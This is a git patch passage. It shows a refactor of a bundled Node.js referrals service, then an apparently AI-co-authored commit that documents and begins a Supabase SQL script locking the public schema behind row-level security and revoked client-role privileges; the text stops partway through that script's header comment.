${sql4.unsafe('"' + name.replace(/"/g, '""') + '"')}`, listeners: [listener] }; const result = await channels[name].result; listener.onlisten && listener.onlisten(); return { state: result.state, unlisten }; @@ -71713,11 +71728,11 @@ function Postgres(a, b2) { if (channels[name].listeners.length) return; delete channels[name]; - return sql3`unlisten ${sql3.unsafe('"' + name.replace(/"/g, '""') + '"')}`; + return sql4`unlisten ${sql4.unsafe('"' + name.replace(/"/g, '""') + '"')}`; } } async function notify(channel, payload) { - return await sql2`select pg_notify(${channel}, ${"" + payload})`; + return await sql3`select pg_notify(${channel}, ${"" + payload})`; } async function reserve() { const queue = queue_default(); @@ -71729,12 +71744,12 @@ function Postgres(a, b2) { move(c, reserved); c.reserved = () => queue.length ? c.execute(queue.shift()) : move(c, reserved); c.reserved.release = true; - const sql3 = Sql(handler2); - sql3.release = () => { + const sql4 = Sql(handler2); + sql4.release = () => { c.reserved = null; onopen(c); }; - return sql3; + return sql4; function handler2(q) { c.queue === full ? queue.push(q) : c.execute(q) || move(c, full); } @@ -71744,7 +71759,7 @@ function Postgres(a, b2) { const queries2 = queue_default(); let savepoints = 0, connection2, prepare = null; try { - await sql2.unsafe("begin " + options2.replace(/[^a-z ]/ig, ""), [], { onexecute }).execute(); + await sql3.unsafe("begin " + options2.replace(/[^a-z ]/ig, ""), [], { onexecute }).execute(); return await Promise.race([ scope(connection2, fn), new Promise((_, reject) => connection2.onclose = reject) @@ -71753,29 +71768,29 @@ function Postgres(a, b2) { throw error51; } async function scope(c, fn2, name) { - const sql3 = Sql(handler2); - sql3.savepoint = savepoint; - sql3.prepare = (x) => prepare = x.replace(/[^a-z0-9$-_. ]/gi); + const sql4 = Sql(handler2); + sql4.savepoint = savepoint; + sql4.prepare = (x) => prepare = x.replace(/[^a-z0-9$-_. ]/gi); let uncaughtError, result; - name && await sql3`savepoint ${sql3(name)}`; + name && await sql4`savepoint ${sql4(name)}`; try { result = await new Promise((resolve, reject) => { - const x = fn2(sql3); + const x = fn2(sql4); Promise.resolve(Array.isArray(x) ? Promise.all(x) : x).then(resolve, reject); }); if (uncaughtError) throw uncaughtError; } catch (e) { - await (name ? sql3`rollback to ${sql3(name)}` : sql3`rollback`); + await (name ? sql4`rollback to ${sql4(name)}` : sql4`rollback`); throw e instanceof PostgresError && e.code === "25P02" && uncaughtError || e; } if (!name) { - prepare ? await sql3`prepare transaction '${sql3.unsafe(prepare)}'` : await sql3`commit`; + prepare ? await sql4`prepare transaction '${sql4.unsafe(prepare)}'` : await sql4`commit`; } return result; function savepoint(name2, fn3) { if (name2 && Array.isArray(name2.raw)) - return savepoint((sql4) => sql4.apply(sql4, arguments)); + return savepoint((sql5) => sql5.apply(sql5, arguments)); arguments.length === 1 && (fn3 = name2, name2 = null); return scope(c, fn3, "s" + savepoints++ + (name2 ? "_" + name2 : "")); } @@ -71835,7 +71850,7 @@ function Postgres(a, b2) { )) ]).then(() => clearTimeout(timer2)); } - async function close() { + async function close2() { await Promise.all(connections.map((c) => c.end())); } async function destroy(resolve) { @@ -71875,7 +71890,7 @@ function Postgres(a, b2) { function parseOptions(a, b2) { if (a && a.shared) return a; - const env = process.env, o = (!a || typeof a === "string" ? b2 : a) || {}, { url: url2, multihost } = parseUrl(a), query = [...url2.searchParams].reduce((a2, [b3, c]) => (a2[b3] = c, a2), {}), host = o.hostname || o.host || multihost || url2.hostname || env.PGHOST || "localhost", port = o.port || url2.port || env.PGPORT || 5432, user = o.user || o.username || url2.username || env.PGUSERNAME || env.PGUSER || osUsername(); + const env2 = process.env, o = (!a || typeof a === "string" ? b2 : a) || {}, { url: url2, multihost } = parseUrl(a), query = [...url2.searchParams].reduce((a2, [b3, c]) => (a2[b3] = c, a2), {}), host = o.hostname || o.host || multihost || url2.hostname || env2.PGHOST || "localhost", port = o.port || url2.port || env2.PGPORT || 5432, user = o.user || o.username || url2.username || env2.PGUSERNAME || env2.PGUSER || osUsername(); o.no_prepare && (o.prepare = false); query.sslmode && (query.ssl = query.sslmode, delete query.sslmode); "timeout" in o && (console.log("The timeout option is deprecated, use idle_timeout instead"), o.idle_timeout = o.timeout); @@ -71901,24 +71916,24 @@ function parseOptions(a, b2) { host: Array.isArray(host) ? host : host.split(",").map((x) => x.split(":")[0]), port: Array.isArray(port) ? port : host.split(",").map((x) => parseInt(x.split(":")[1] || port)), path: o.path || host.indexOf("/") > -1 && host + "/.s.PGSQL." + port, - database: o.database || o.db || (url2.pathname || "").slice(1) || env.PGDATABASE || user, + database: o.database || o.db || (url2.pathname || "").slice(1) || env2.PGDATABASE || user, user, - pass: o.pass || o.password || url2.password || env.PGPASSWORD || "", + pass: o.pass || o.password || url2.password || env2.PGPASSWORD || "", ...Object.entries(defaults).reduce( (acc, [k, d]) => { - const value = k in o ? o[k] : k in query ? query[k] === "disable" || query[k] === "false" ? false : query[k] : env["PG" + k.toUpperCase()] || d; + const value = k in o ? o[k] : k in query ? query[k] === "disable" || query[k] === "false" ? false : query[k] : env2["PG" + k.toUpperCase()] || d; acc[k] = typeof value === "string" && ints.includes(k) ? +value : value; return acc; }, {} ), connection: { - application_name: env.PGAPPNAME || "postgres.js", + application_name: env2.PGAPPNAME || "postgres.js", ...o.connection, ...Object.entries(query).reduce((acc, [k, v]) => (k in defaults || (acc[k] = v), acc), {}) }, types: o.types || {}, - target_session_attrs: tsa(o, url2, env), + target_session_attrs: tsa(o, url2, env2), onnotice: o.onnotice, onnotify: o.onnotify, onclose: o.onclose, @@ -71930,8 +71945,8 @@ function parseOptions(a, b2) { ...mergeUserTypes(o.types) }; } -function tsa(o, url2, env) { - const x = o.target_session_attrs || url2.searchParams.get("target_session_attrs") || env.PGTARGETSESSIONATTRS; +function tsa(o, url2, env2) { + const x = o.target_session_attrs || url2.searchParams.get("target_session_attrs") || env2.PGTARGETSESSIONATTRS; if (!x || ["read-write", "read-only", "primary", "standby", "prefer-standby"].includes(x)) return x; throw new Error("target_session_attrs " + x + " is not supported"); @@ -72686,10 +72701,10 @@ function pgEnumObjectWithSchema(enumName, values2, schema) { // node_modules/.pnpm/drizzle-orm@0.45.2_@opentelemetry+api@1.9.1_postgres@3.4.9/node_modules/drizzle-orm/subquery.js var Subquery = class { static [entityKind] = "Subquery"; - constructor(sql2, fields, alias, isWith = false, usedTables = []) { + constructor(sql3, fields, alias, isWith = false, usedTables = []) { this._ = { brand: "Subquery", - sql: sql2, + sql: sql3, selectedFields: fields, alias, isWith, @@ -73087,19 +73102,19 @@ function sql(strings, ...params) { } return new SQL(queryChunks); } -((sql2) => { +((sql22) => { function empty() { return new SQL([]); } - sql2.empty = empty; + sql22.empty = empty; function fromList(list) { return new SQL(list); } - sql2.fromList = fromList; + sql22.fromList = fromList; function raw(str) { return new SQL([new StringChunk(str)]); } - sql2.raw = raw; + sql22.raw = raw; function join(chunks, separator) { const result = []; for (const [i, chunk] of chunks.entries()) { @@ -73110,24 +73125,24 @@ function sql(strings, ...params) { } return new SQL(result); } - sql2.join = join; + sql22.join = join; function identifier(value) { return new Name(value); } - sql2.identifier = identifier; + sql22.identifier = identifier; function placeholder2(name2) { return new Placeholder(name2); } - sql2.placeholder = placeholder2; + sql22.placeholder = placeholder2; function param2(value, encoder2) { return new Param(value, encoder2); } - sql2.param = param2; + sql22.param = param2; })(sql || (sql = {})); ((SQL2) => { class Aliased { - constructor(sql2, fieldAlias) { - this.sql = sql2; + constructor(sql22, fieldAlias) { + this.sql = sql22; this.fieldAlias = fieldAlias; } static [entityKind] = "SQL.Aliased"; @@ -75947,8 +75962,8 @@ var PgDialect = class { return "none"; } } - sqlToQuery(sql2, invokeSource) { - return sql2.toQuery({ + sqlToQuery(sql22, invokeSource) { + return sql22.toQuery({ casing: this.casing, escapeName: this.escapeName, escapeParam: this.escapeParam, @@ -78307,10 +78322,10 @@ var PgRelationalQuery = class extends QueryPromise { // node_modules/.pnpm/drizzle-orm@0.45.2_@opentelemetry+api@1.9.1_postgres@3.4.9/node_modules/drizzle-orm/pg-core/query-builders/raw.js var PgRaw = class extends QueryPromise { - constructor(execute, sql2, query, mapBatchResult) { + constructor(execute, sql3, query, mapBatchResult) { super(); this.execute = execute; - this.sql = sql2; + this.sql = sql3; this.query = query; this.mapBatchResult = mapBatchResult; } @@ -78630,8 +78645,8 @@ var NoopCache = class extends Cache { async onMutate(_params) { } }; -async function hashQuery(sql2, params) { - const dataToHash = `${sql2}-${JSON.stringify(params)}`; +async function hashQuery(sql3, params) { + const dataToHash = `${sql3}-${JSON.stringify(params)}`; const encoder2 = new TextEncoder(); const data = encoder2.encode(dataToHash); const hashBuffer = await crypto.subtle.digest("SHA-256", data); @@ -78764,8 +78779,8 @@ var PgSession = class { ).all(); } /** @internal */ - async count(sql2, token) { - const res = await this.execute(sql2, token); + async count(sql22, token) { + const res = await this.execute(sql22, token); return Number( res[0]["count"] ); @@ -78802,12 +78817,12 @@ var PgTransaction = class extends PgDatabase { // node_modules/.pnpm/drizzle-orm@0.45.2_@opentelemetry+api@1.9.1_postgres@3.4.9/node_modules/drizzle-orm/postgres-js/session.js var PostgresJsPreparedQuery = class extends PgPreparedQuery { - constructor(client, queryString, params, logger, cache2, queryMetadata, cacheConfig, fields, _isResponseInArrayMode, customResultMapper) { + constructor(client, queryString, params, logger2, cache2, queryMetadata, cacheConfig, fields, _isResponseInArrayMode, customResultMapper) { super({ sql: queryString, params }, cache2, queryMetadata, cacheConfig); this.client = client; this.queryString = queryString; this.params = params; - this.logger = logger; + this.logger = logger2; this.fields = fields; this._isResponseInArrayMode = _isResponseInArrayMode; this.customResultMapper = customResultMapper; @@ -78949,11 +78964,11 @@ function construct(client, config2 = {}) { client.options.serializers["114"] = transparentParser; client.options.serializers["3802"] = transparentParser; const dialect = new PgDialect({ casing: config2.casing }); - let logger; + let logger2; if (config2.logger === true) { - logger = new DefaultLogger(); + logger2 = new DefaultLogger(); } else if (config2.logger !== false) { - logger = config2.logger; + logger2 = config2.logger; } let schema; if (config2.schema) { @@ -78967,14 +78982,14 @@ function construct(client, config2 = {}) { tableNamesMap: tablesConfig.tableNamesMap }; } - const session = new PostgresJsSession(client, dialect, schema, { logger, cache: config2.cache }); - const db = new PostgresJsDatabase(dialect, session, schema); - db.$client = client; - db.$cache = config2.cache; - if (db.$cache) { - db.$cache["invalidate"] = config2.cache?.onMutate; + const session = new PostgresJsSession(client, dialect, schema, { logger: logger2, cache: config2.cache }); + const db2 = new PostgresJsDatabase(dialect, session, schema); + db2.$client = client; + db2.$cache = config2.cache; + if (db2.$cache) { + db2.$cache["invalidate"] = config2.cache?.onMutate; } - return db; + return db2; } function drizzle(...params) { if (typeof params[0] === "string") { @@ -79529,7 +79544,7 @@ var idempotencyKeys = pgTable( // packages/db/src/client.ts function createDatabase(options) { - const sql2 = src_default(options.url, { + const sql3 = src_default(options.url, { max: options.singleConnection === true ? 1 : options.maxConnections ?? 10, // Prepared statements are disabled because pgbouncer in transaction mode // (the deployment target) cannot support them. @@ -79537,18 +79552,18 @@ function createDatabase(options) { onnotice: options.onNotice ?? (() => { }) }); - const db = drizzle(sql2, { schema: schema_exports }); + const db2 = drizzle(sql3, { schema: schema_exports }); return { - db, - sql: sql2, + db: db2, + sql: sql3, close: async () => { - await sql2.end({ timeout: 5 }); + await sql3.end({ timeout: 5 }); } }; } -async function pingDatabase(sql2) { +async function pingDatabase(sql3) { try { - await sql2`SELECT 1`; + await sql3`SELECT 1`; return true; } catch { return false; @@ -79898,12 +79913,12 @@ function createMetricsRegistry(serviceName) { } // packages/observability/src/fastify.ts -function registerHttpMetrics(app, metrics2) { - app.decorateRequest("metricsStartTime", void 0); - app.addHook("onRequest", async (request) => { +function registerHttpMetrics(app2, metrics2) { + app2.decorateRequest("metricsStartTime", void 0); + app2.addHook("onRequest", async (request) => { request.metricsStartTime = process.hrtime.bigint(); }); - app.addHook("onResponse", async (request, reply) => { + app2.addHook("onResponse", async (request, reply) => { const route = request.routeOptions.url ?? request.url; const labels = { method: request.method, route, status_code: String(reply.statusCode) }; metrics2.httpRequestsTotal.inc(labels); @@ -79913,8 +79928,8 @@ function registerHttpMetrics(app, metrics2) { } }); } -function metricsRoute(app, metrics2) { - app.get("/metrics", async (_request, reply) => { +function metricsRoute(app2, metrics2) { + app2.get("/metrics", async (_request, reply) => { reply.header("content-type", metrics2.registry.contentType); return metrics2.registry.metrics(); }); @@ -79933,16 +79948,16 @@ function toContact(row) { created_at: row.createdAt }; } -async function findByCompanyAndEmail(db, companyId, email3) { - const [row] = await db.select().from(schema_exports.contacts).where(and(eq(schema_exports.contacts.companyId, companyId), eq(schema_exports.contacts.email, email3))).limit(1); +async function findByCompanyAndEmail(db2, companyId, email3) { + const [row] = await db2.select().from(schema_exports.contacts).where(and(eq(schema_exports.contacts.companyId, companyId), eq(schema_exports.contacts.email, email3))).limit(1); return row ?? null; } -async function insertContact(db, input) { - const [row] = await db.insert(schema_exports.contacts).values(input).returning(); +async function insertContact(db2, input) { + const [row] = await db2.insert(schema_exports.contacts).values(input).returning(); if (!row) throw new Error("insertContact: insert returned no row"); return row; } -async function listForCompany(db, companyId, pagination) { +async function listForCompany(db2, companyId, pagination) { const cursorValue = pagination.cursor ? decodeCursor(pagination.cursor) : null; const cursorScore = typeof cursorValue?.score === "number" ? cursorValue.score : null; const cursorId = typeof cursorValue?.id === "string" ? cursorValue.id : null; @@ -79954,7 +79969,7 @@ async function listForCompany(db, companyId, pagination) { ); if (tieBreak) conditions.push(tieBreak); } - const rows = await db.select().from(schema_exports.contacts).where(and(...conditions)).orderBy(desc(schema_exports.contacts.relevanceScore), desc(schema_exports.contacts.contactId)).limit(pagination.limit + 1); + const rows = await db2.select().from(schema_exports.contacts).where(and(...conditions)).orderBy(desc(schema_exports.contacts.relevanceScore), desc(schema_exports.contacts.contactId)).limit(pagination.limit + 1); const hasMore = rows.length > pagination.limit; const items = hasMore ? rows.slice(0, pagination.limit) : rows; const last = items[items.length - 1]; @@ -79963,13 +79978,13 @@ async function listForCompany(db, companyId, pagination) { nextCursor: hasMore && last ? encodeCursor({ score: last.relevanceScore ?? 0, id: last.contactId }) : null }; } -async function topContactsForCompany(db, companyId, limit) { - return db.select().from(schema_exports.contacts).where(eq(schema_exports.contacts.companyId, companyId)).orderBy(desc(schema_exports.contacts.relevanceScore), desc(schema_exports.contacts.contactId)).limit(limit); +async function topContactsForCompany(db2, companyId, limit) { + return db2.select().from(schema_exports.contacts).where(eq(schema_exports.contacts.companyId, companyId)).orderBy(desc(schema_exports.contacts.relevanceScore), desc(schema_exports.contacts.contactId)).limit(limit); } -async function topContactsForCompanies(db, companyIds, limitPerCompany) { +async function topContactsForCompanies(db2, companyIds, limitPerCompany) { const result = /* @__PURE__ */ new Map(); if (companyIds.length === 0) return result; - const rows = await db.select().from(schema_exports.contacts).where(inArray(schema_exports.contacts.companyId, companyIds)).orderBy(desc(schema_exports.contacts.relevanceScore), desc(schema_exports.contacts.contactId)); + const rows = await db2.select().from(schema_exports.contacts).where(inArray(schema_exports.contacts.companyId, companyIds)).orderBy(desc(schema_exports.contacts.relevanceScore), desc(schema_exports.contacts.contactId)); for (const row of rows) { const bucket = result.get(row.companyId); if (bucket) { @@ -79982,8 +79997,8 @@ async function topContactsForCompanies(db, companyIds, limitPerCompany) { } // services/referrals/src/repo/lookups.ts -async function findJobById(db, jobId) { - const [row] = await db.select().from(schema_exports.jobs).where(eq(schema_exports.jobs.jobId, jobId)).limit(1); +async function findJobById(db2, jobId) { + const [row] = await db2.select().from(schema_exports.jobs).where(eq(schema_exports.jobs.jobId, jobId)).limit(1); if (!row) return null; return { job_id: row.jobId, @@ -80008,8 +80023,8 @@ async function findJobById(db, jobId) { updated_at: row.updatedAt }; } -async function findCompanyById(db, companyId) { - const [row] = await db.select().from(schema_exports.companies).where(eq(schema_exports.companies.companyId, companyId)).limit(1); +async function findCompanyById(db2, companyId) { + const [row] = await db2.select().from(schema_exports.companies).where(eq(schema_exports.companies.companyId, companyId)).limit(1); if (!row) return null; return { company_id: row.companyId, @@ -80021,9 +80036,9 @@ async function findCompanyById(db, companyId) { created_at: row.createdAt }; } -async function findCompaniesByIds(db, companyIds) { +async function findCompaniesByIds(db2, companyIds) { if (companyIds.length === 0) return []; - const rows = await db.select().from(schema_exports.companies).where(inArray(schema_exports.companies.companyId, companyIds)); + const rows = await db2.select().from(schema_exports.companies).where(inArray(schema_exports.companies.companyId, companyIds)); return rows.map((row) => ({ company_id: row.companyId, name: row.name, @@ -80034,16 +80049,16 @@ async function findCompaniesByIds(db, companyIds) { created_at: row.createdAt })); } -async function listUserApplicationCompanies(db, userId, limit) { - const rows = await db.select({ +async function listUserApplicationCompanies(db2, userId, limit) { + const rows = await db2.select({ applicationId: schema_exports.applications.applicationId, jobId: schema_exports.applications.jobId, companyId: schema_exports.jobs.companyId }).from(schema_exports.applications).innerJoin(schema_exports.jobs, eq(schema_exports.applications.jobId, schema_exports.jobs.jobId)).where(eq(schema_exports.applications.userId, userId)).orderBy(desc(schema_exports.applications.createdAt)).limit(limit); return rows; } -async function hasUserAppliedToCompany(db, userId, companyId) { - const [row] = await db.select({ applicationId: schema_exports.applications.applicationId }).from(schema_exports.applications).innerJoin(schema_exports.jobs, eq(schema_exports.applications.jobId, schema_exports.jobs.jobId)).where(and(eq(schema_exports.applications.userId, userId), eq(schema_exports.jobs.companyId, companyId))).limit(1); +async function hasUserAppliedToCompany(db2, userId, companyId) { + const [row] = await db2.select({ applicationId: schema_exports.applications.applicationId }).from(schema_exports.applications).innerJoin(schema_exports.jobs, eq(schema_exports.applications.jobId, schema_exports.jobs.jobId)).where(and(eq(schema_exports.applications.userId, userId), eq(schema_exports.jobs.companyId, companyId))).limit(1); return row !== void 0; } @@ -80061,8 +80076,8 @@ function scoreContactRelevance(title) { // services/referrals/src/http/routes/create-contact.ts var UNIQUE_VIOLATION = "23505"; -function createContactRoute(app, deps) { - app.post("/v1/contacts", { preHandler: requireAuth(deps.tokenVerifier) }, async (_request, reply) => { +function createContactRoute(app2, deps) { + app2.post("/v1/contacts", { preHandler: requireAuth(deps.tokenVerifier) }, async (_request, reply) => { const body = createContactRequestSchema.parse(_request.body); const company = await findCompanyById(deps.db, body.company_id); if (!company) { @@ -80103,8 +80118,8 @@ function createContactRoute(app, deps) { } // services/referrals/src/http/routes/health.ts -function healthRoute(app, deps) { - app.get("/health", async (_request, reply) => { +function healthRoute(app2, deps) { + app2.get("/health", async (_request, reply) => { const dbOk = await pingDatabase(deps.sql); const brokerOk = deps.broker.isHealthy(); const body = { @@ -80119,8 +80134,8 @@ function healthRoute(app, deps) { // services/referrals/src/http/routes/list-company-contacts.ts var paramsSchema = external_exports.object({ company_id: uuidSchema }); -function listCompanyContactsRoute(app, deps) { - app.get( +function listCompanyContactsRoute(app2, deps) { + app2.get( "/v1/companies/:company_id/contacts", { preHandler: requireAuth(deps.tokenVerifier) }, async (request, reply) => { @@ -80141,8 +80156,8 @@ function listCompanyContactsRoute(app, deps) { // services/referrals/src/lib/candidates.ts var MAX_APPLICATIONS = 20; var CONTACTS_PER_COMPANY = 3; -async function findReferralCandidatesForUser(db, userId) { - const applicationCompanies = await listUserApplicationCompanies(db, userId, MAX_APPLICATIONS); +async function findReferralCandidatesForUser(db2, userId) { + const applicationCompanies = await listUserApplicationCompanies(db2, userId, MAX_APPLICATIONS); const firstApplicationByCompany = /* @__PURE__ */ new Map(); for (const applicationCompany of applicationCompanies) { if (!firstApplicationByCompany.has(applicationCompany.companyId)) { @@ -80151,8 +80166,8 @@ async function findReferralCandidatesForUser(db, userId) { } const companyIds = [...firstApplicationByCompany.keys()]; const [companies2, contactsByCompany] = await Promise.all([ - findCompaniesByIds(db, companyIds), - topContactsForCompanies(db, companyIds, CONTACTS_PER_COMPANY) + findCompaniesByIds(db2, companyIds), + topContactsForCompanies(db2, companyIds, CONTACTS_PER_COMPANY) ]); const companyById = new Map(companies2.map((company) => [company.company_id, company])); const results = []; @@ -80173,8 +80188,8 @@ async function findReferralCandidatesForUser(db, userId) { } // services/referrals/src/http/routes/list-referrals.ts -function listReferralsRoute(app, deps) { - app.get("/v1/referrals", { preHandler: requireAuth(deps.tokenVerifier) }, async (request, reply) => { +function listReferralsRoute(app2, deps) { + app2.get("/v1/referrals", { preHandler: requireAuth(deps.tokenVerifier) }, async (request, reply) => { const actor = getActor(request); const items = await findReferralCandidatesForUser(deps.db, actor.user_id); const response = { items }; @@ -80190,7 +80205,7 @@ var STATUS_TO_CODE = { 429: "RATE_LIMITED" }; function buildApp(deps) { - const app = (0, import_fastify.default)({ + const app2 = (0, import_fastify.default)({ // See services/auth/src/app.ts for why this cast is needed: pino's Logger // type and Fastify's FastifyBaseLogger disagree on a structural detail // that doesn't matter at runtime. @@ -80199,14 +80214,14 @@ function buildApp(deps) { trustProxy: true, genReqId: () => newUuid() }); - void app.register(import_cors.default, { origin: parseCorsOrigins(deps.env.CORS_ORIGINS) }); - void app.register(import_rate_limit.default, { + void app2.register(import_cors.default, { origin: parseCorsOrigins(deps.env.CORS_ORIGINS) }); + void app2.register(import_rate_limit.default, { max: deps.env.RATE_LIMIT_MAX, timeWindow: deps.env.RATE_LIMIT_WINDOW }); const metrics2 = createMetricsRegistry("referrals-service"); - registerHttpMetrics(app, metrics2); - app.setErrorHandler((error51, request, reply) => { + registerHttpMetrics(app2, metrics2); + app2.setErrorHandler((error51, request, reply) => { if (error51 instanceof ZodError) { reply.status(400).send({ error: { @@ -80237,17 +80252,17 @@ function buildApp(deps) { const appError = toAppError(error51); reply.status(appError.statusCode).send(appError.toResponse(request.id)); }); - app.setNotFoundHandler((request, reply) => { + app2.setNotFoundHandler((request, reply) => { reply.status(404).send({ error: { code: "NOT_FOUND", message: "Route not found", request_id: request.id } }); }); - healthRoute(app, deps); - metricsRoute(app, metrics2); - createContactRoute(app, deps); - listCompanyContactsRoute(app, deps); - listReferralsRoute(app, deps); - return app; + healthRoute(app2, deps); + metricsRoute(app2, metrics2); + createContactRoute(app2, deps); + listCompanyContactsRoute(app2, deps); + listReferralsRoute(app2, deps); + return app2; } // services/referrals/src/env.ts @@ -80295,20 +80310,21 @@ async function registerConsumers(deps) { } // services/referrals/src/index.ts -async function main() { - const env = loadReferralsServiceEnv(); - const logger = createLogger({ service: "referrals-service", level: env.LOG_LEVEL, pretty: env.LOG_PRETTY }); - const { db, sql: sql2, close } = createDatabase({ url: env.DATABASE_URL, maxConnections: env.DATABASE_POOL_MAX }); - const broker = createBroker({ - driver: env.MESSAGING_DRIVER, - url: env.RABBITMQ_URL, - exchange: env.MESSAGING_EXCHANGE, - maxRetries: env.MESSAGING_MAX_RETRIES, - logger - }); - const tokenVerifier = createTokenVerifierConfig(env); - const app = buildApp({ db, sql: sql2, env, logger, broker, tokenVerifier }); - const subscriptions = await registerConsumers({ db, broker, logger }); +var env = loadReferralsServiceEnv(withServerlessEnvDefaults()); +var logger = createLogger({ service: "referrals-service", level: env.LOG_LEVEL, pretty: env.LOG_PRETTY }); +var { db, sql: sql2, close } = createDatabase({ url: env.DATABASE_URL, maxConnections: env.DATABASE_POOL_MAX }); +var broker = createBroker({ + driver: env.MESSAGING_DRIVER, + url: env.RABBITMQ_URL, + exchange: env.MESSAGING_EXCHANGE, + maxRetries: env.MESSAGING_MAX_RETRIES, + logger +}); +var tokenVerifier = createTokenVerifierConfig(env); +var app = buildApp({ db, sql: sql2, env, logger, broker, tokenVerifier }); +var subscriptions = await registerConsumers({ db, broker, logger }); +var index_default = createVercelHandler(app); +if (!process.env.VERCEL) { const shutdown = async (signal) => { logger.info({ signal }, "shutting down"); await Promise.all(subscriptions.map((subscription) => subscription.stop())); @@ -80321,10 +80337,10 @@ async function main() { process.on("SIGINT", () => void shutdown("SIGINT")); await app.listen({ host: env.HOST, port: env.PORT }); } -main().catch((error51) => { - console.error(error51); - process.exit(1); -}); +export { + app, + index_default as default +}; /*! Bundled license information: amqplib/lib/defs.js: From fbbf394c33460be6ce06b72c23a5202e0960bc6e Mon Sep 17 00:00:00 2001 From: Claude Date: Tue, 27 Oct 2026 12:34:05 +0000 Subject: [PATCH 12/91] feat(db): lock down the public schema against the Supabase Data API Adds packages/db/supabase/rls.sql, applied by hand in the Supabase SQL editor like auth-hooks.sql. Enables (not forces) RLS on every table in public with no policies for anon/authenticated, revokes all table/sequence/function privileges from anon, authenticated and PUBLIC, and changes default privileges so later objects start locked. An event trigger enables RLS on newly created tables. Supabase Auth's grants are verified and kept (a read policy on organization_members keeps them meaningful under RLS). The script verifies its end state and aborts atomically if anything is unsafe. Documents the posture, how to apply and verify it, and the rules for new tables and roles in docs/09_security_model.md. Co-Authored-By: Claude Sonnet 5.5 Claude-Session: https://claude.ai/code/session_01BdqVHQRXj76uudaef6gTD1 --- docs/09_security_model.md | 20 +++ packages/db/supabase/rls.sql | 319 +++++++++++++++++++++++++++++++++++ 2 files changed, 339 insertions(+) create mode 100644 packages/db/supabase/rls.sql diff --git a/docs/09_security_model.md b/docs/09_security_model.md index 21bd780..ccf24f1 100644 --- a/docs/09_security_model.md +++ b/docs/09_security_model.md @@ -29,3 +29,23 @@ - Design for auditability from day one. - Keep consent records for every connected service. - Support data export and deletion workflows. + +## Database exposure / RLS +Supabase's Data API (PostgREST, `/rest/v1`) serves the `public` schema to anyone holding the publishable (anon) key, which ships in client JS and CI config. Atlas services never use it: they connect to Postgres directly as a privileged role (the table owner, which bypasses RLS). So the posture is deny-all for the client roles, in two independent layers, both set by `packages/db/supabase/rls.sql`: + +1. **RLS enabled** (not `FORCE`) on every table in `public`, with **no policies** for `anon` or `authenticated`. +2. **No privileges** for `anon`, `authenticated` or `PUBLIC` on any table, view, sequence or function in `public`, and default privileges changed so objects created later start the same way. + +Supabase Auth keeps what it needs (`USAGE` on `public`, `EXECUTE` on `custom_access_token_hook`, `SELECT` on `organization_members`, plus a read-only policy for `supabase_auth_admin` so RLS does not hide the rows); the `handle_new_user` signup trigger is unaffected. + +**Applying it.** Like `auth-hooks.sql`, it is not a Drizzle migration. Paste it into the Supabase dashboard SQL editor (as `postgres`) after `pnpm db:migrate` and `auth-hooks.sql`. It is idempotent and atomic: it verifies its own end state (RLS on everywhere, client roles locked out, Auth's grants intact) and rolls back with an explanation if any check fails. Read any WARNING lines it prints; each names a gap it could not close. `scripts/ci/setup-test-db.sh` applies the same file, so CI and local test databases match production, and `packages/db/test/rls.test.ts` proves the behaviour on a scratch database. + +**Verifying.** +- Supabase Advisors (Security): `RLS disabled in public` must be clear. `RLS enabled, no policy` will list every table at INFO level; that is the intended deny-all state, so do not "fix" it with permissive policies. +- Request `GET $SUPABASE_URL/rest/v1/resumes?select=id&limit=1` with only `apikey: `. Expect `401` with `permission denied for table resumes` (or `404` if the Data API is off). `[]` means RLS is holding but a grant is still present: re-run `rls.sql`. Any row is an incident. +- Defense in depth: in the project's Data API settings, remove `public` from the exposed schemas or turn the Data API off, since we do not use it. + +**Rules.** +- New tables need no manual step: an event trigger enables RLS on tables created in `public`, and default privileges give the client roles nothing. If `rls.sql` warned that it could not create the event trigger, re-run it after each migration that adds tables. +- New roles do need attention. The file only knows the roles in `v_locked_roles` (`anon`, `authenticated`); add any new client-facing role there and re-run. A role that legitimately needs data gets an explicit `GRANT` (and a policy, unless it owns the table or has `BYPASSRLS`), as does any role that must call a new function. +- Never `GRANT` to `anon`/`authenticated` in a migration. To expose something through the Data API on purpose, follow the header of `rls.sql` (add the name to `v_data_api_objects`, grant narrowly, write the policy); otherwise the next run revokes it. diff --git a/packages/db/supabase/rls.sql b/packages/db/supabase/rls.sql new file mode 100644 index 0000000..87ab625 --- /dev/null +++ b/packages/db/supabase/rls.sql @@ -0,0 +1,319 @@ +-- Data API lockdown for the `public` schema: Row Level Security on every table, +-- and no table/sequence/function privileges for Supabase's client-facing roles. +-- +-- HOW TO APPLY: like auth-hooks.sql, this is NOT a Drizzle migration. Run it by +-- hand in the Supabase dashboard SQL editor (as `postgres`) after `pnpm db:migrate` +-- and auth-hooks.sql. scripts/ci/setup-test-db.sh also applies it, after the auth +-- hooks, so CI and local test databases have the same posture as production. +-- It is idempotent and atomic (one DO block): re-run it any time, and if +-- anything cannot be guaranteed it aborts and changes nothing. +-- +-- WHY: Supabase's Data API (PostgREST, /rest/v1) serves the `public` schema to +-- anyone holding the publishable (anon) key, and that key ships in client JS. +-- Out of the box, Supabase grants `anon` and `authenticated` ALL on everything +-- created in `public`, so without RLS the key alone could read resumes, messages, +-- contacts, connector_accounts, ... Atlas services never use the Data API: they +-- connect straight to Postgres with a privileged DATABASE_URL role (the table +-- owner, which bypasses RLS because we use ENABLE, never FORCE). So the safe +-- default is deny-all, in two independent layers: +-- +-- 1. RLS is enabled on every table in `public` and NO policy targets +-- anon/authenticated (default deny, even if a grant sneaks back in). +-- 2. anon/authenticated (and PUBLIC) hold no privileges on any table, view, +-- sequence or function in `public`, and default privileges are changed so +-- objects created later start out the same way. +-- +-- WHAT THIS DOES NOT TOUCH +-- * supabase_auth_admin: Supabase Auth keeps USAGE on schema public, EXECUTE on +-- custom_access_token_hook and SELECT on organization_members (granted by +-- auth-hooks.sql; this file never names that role in a REVOKE). Because RLS +-- would otherwise hide every row from it, it also gets a read-only policy on +-- organization_members. The hook is SECURITY DEFINER, so it reads as the table +-- owner anyway; the policy only keeps the documented grant meaningful. The +-- handle_new_user trigger needs no EXECUTE grant to fire (Postgres checks +-- that at CREATE TRIGGER), so revoking it from PUBLIC does not break signup. +-- * service_role and the owner: unchanged. Rotate the service_role key if it +-- ever leaks; that is a separate secret-handling concern. +-- * schema USAGE on `public` for anon/authenticated: left alone (harmless +-- without table privileges). For belt and braces, also remove `public` from +-- Dashboard -> Settings -> Data API -> Exposed schemas, or turn the Data API off. +-- +-- NEW TABLES need no manual step. An event 